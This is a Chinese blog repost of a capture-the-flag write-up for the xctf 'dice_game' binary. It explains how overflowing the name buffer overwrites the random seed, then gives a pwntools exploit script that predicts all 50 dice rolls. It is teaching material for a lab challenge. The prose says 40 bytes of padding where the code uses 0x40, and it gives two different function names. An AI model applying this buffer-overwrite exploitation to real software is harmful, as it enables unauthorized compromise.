欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

dice_game(xctf)

程序员文章站 2022-05-15 20:17:15
...

0x0 程序保护和流程

保护:

dice_game(xctf)

流程:

main()

dice_game(xctf)

sub_A20()

dice_game(xctf)

sub_B28()

dice_game(xctf)

只要sub_A20()的验证通过50次就可以通过sub_B20()输出flag。而sub_A20()通过随机数来决定返回的值是否为1。整个程序只有fgets()处可以覆盖栈上其他变量的值,所以可以通过fgets()修改seed[0]的值。

0x1 利用过程

可以观察到seed[0]处于rsp+40h的位置所以padding=‘a’*40之后就可以覆盖seed[0]的值了。

0x2 exp

from pwn import *
from ctypes import *
libc=cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(1)
sh=process('./a')
# sh=remote('124.126.19.106','30741')
payload='a'*0x40+p64(1)
sh.recvuntil('Welcome, let me know your name: ')
sh.sendline(payload)
for i in range(50):
    sh.recvuntil('Give me the point(1~6): ')
    sh.sendline(str(libc.rand()%6+1))

sh.recv()
相关标签: xctf(高手区)